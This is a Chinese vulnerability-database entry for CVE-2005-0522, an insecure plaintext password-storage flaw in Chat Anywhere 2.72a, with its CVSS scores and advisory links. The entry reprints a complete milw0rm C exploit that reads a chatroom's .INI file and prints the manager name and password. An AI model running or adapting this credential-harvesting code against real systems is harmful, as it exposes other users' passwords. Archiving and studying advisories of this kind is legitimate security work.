CVE-2005-0522
CVSS4.6
发布时间 :2005-05-02 00:00:00
修订时间 :2008-09-05 16:46:32
NMCOES    

[原文]Chat Anywhere 2.72a stores sensitive information such as passwords in plaintext in the .INI file for a chatroom, which allows local users to gain privileges.


[CNNVD]LionMax软件Chat Anywhere不安全的密码储存漏洞(CNNVD-200505-334)

        Chat Anywhere 2.72a在聊天室的.INI文件中以纯文本形式储存密码之类的敏感信息,从而允许本地用户获取权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0522
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0522
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-334
(官方数据源) CNNVD

- 其它链接及资源

http://securitytracker.com/id?1013270
(UNKNOWN)  SECTRACK  1013270

- 漏洞信息

LionMax软件Chat Anywhere不安全的密码储存漏洞
中危 配置错误
2005-05-02 00:00:00 2005-10-20 00:00:00
本地  
        Chat Anywhere 2.72a在聊天室的.INI文件中以纯文本形式储存密码之类的敏感信息,从而允许本地用户获取权限。

- 公告与补丁

        暂无数据

- 漏洞信息 (837)

Chat Anywhere 2.72a Local Password Disclosure Exploit (EDBID:837)
windows local
2005-02-23 Verified
0 Kozan
N/A [点击下载]
/*****************************************************************

Chat Anywhere 2.72a Local Exploit by Kozan

Application: Chat Anywhere 2.72a
Vendor:LionMax Software
http://www.lionmax.com/

Vulnerable Description: Chat Anywhere 2.72a discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com

*****************************************************************/

#include <windows.h>
#include <stdio.h>
#include <string.h>

#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

char *manage_port, *manage_name, *manage_password;

int adresal(char *FilePath,char *Str)
{
       char kr;
       int Sayac=0;
       int Offset=-1;
       FILE *di;
       di=fopen(FilePath,"rb");

       if( di == NULL )
       {
               fclose(di);
               return -1;
       }

       while(!feof(di))
       {
               Sayac++;
               for(int i=0;i<strlen(Str);i++)
               {
                       kr=getc(di);
                       if(kr != Str[i])
                       {
                               if( i>0 )
                               {
                                       fseek(di,Sayac+1,SEEK_SET);
                               }
                               break;
                       }
                       if( i > ( strlen(Str)-2 ) )
                       {
                               Offset = ftell(di)-strlen(Str);
                               fclose(di);
                               return Offset;
                       }
               }
       }
       fclose(di);
       return -1;
}

char *oku(char *FilePath,char *Str)
{

      FILE *di;
      char cr;
      int i=0;
      char Feature[500];

      int Offset = adresal(FilePath,Str);

      if( Offset == -1 )
              return "";

      if( (di=fopen(FilePath,"rb")) == NULL )
              return "";

      fseek(di,Offset+strlen(Str),SEEK_SET);

      while(!feof(di))
      {
              cr=getc(di);
              if(cr == 0x0D) break;

              Feature[i] = cr;
              i++;
      }

      Feature[i] = '\0';
      fclose(di);
      return Feature;
}

int main()
{
       if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                  "SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
                  0,
                  KEY_QUERY_VALUE,
                  &hKey) == ERROR_SUCCESS)
       {

               lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
                              (LPBYTE) prgfiles, &dwBufLen);

       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
       {
                       RegCloseKey(hKey);
           printf("An error occured!\n");
           return 0;
       }

               RegCloseKey(hKey);

       }
       else
   {
       RegCloseKey(hKey);
       printf("An error occured!\n");
       return 0;
       }
       try{
       printf("WWW File Share Pro 2.72 Local Exploit by Kozan\n");
       printf("Credits to ATmaCA\n");
       printf("www.netmagister.com  -  www.spyinstructors.com \n\n");
       printf("This exploit only shows the Demo1 room's password.\n");
       printf("You may improve it freely...\n\n");
   strcat(prgfiles,"\\Chat Anywhere\\room\\Demo1.ini");
       manage_port=oku(prgfiles,"ManagePort=");
       if(manage_port!="")     printf("Manage Port: %s\n",manage_port);
       manage_name=oku(prgfiles,"ManageName=");
       if(manage_name!="") printf("Manage Name: %s\n",manage_name);
       manage_password=oku(prgfiles,"ManagePassword=");
       if(manage_password!="") printf("Manage Password: %s\n",manage_password);
       }catch(...){printf("An error occured!\n"); return 0;}

       return 0;

}

// milw0rm.com [2005-02-23]
		

- 漏洞信息

14087
Chat Anywhere User Credential Local Disclosure
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-02-24 Unknow
2005-02-24 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

LionMax Software Chat Anywhere Insecure Password Storage Vulnerability
Configuration Error 12669
No Yes
2005-02-26 12:00:00 2009-07-12 10:56:00
kozan@netmagister.com is credited with the discovery of this issue.

- 受影响的程序版本

LionMax Software Chat Anywhere 2.72 a

- 漏洞讨论

A local insecure password storage vulnerability affects LionMax Software Chat Anywhere. This issue is due to a failure of the application to store password credentials in a secure location by default.

A local attacker may leverage this issue to gain access to restricted chat room authentication credentials, facilitating unauthorized access.

- 漏洞利用

No exploit is required to leverage this issue.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站